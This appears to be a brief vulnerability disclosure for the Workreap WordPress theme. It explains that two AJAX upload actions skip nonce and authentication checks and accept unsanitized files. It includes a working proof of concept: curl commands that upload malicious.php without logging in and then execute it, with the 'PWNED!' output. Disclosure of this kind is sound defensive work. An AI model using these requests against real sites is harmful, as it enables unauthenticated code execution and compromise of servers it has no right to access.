The theme’s AJAX actions workreap_award_temp_file_uploader
and workreap_temp_file_uploader
did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'http://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"http:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}
% curl 'http://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!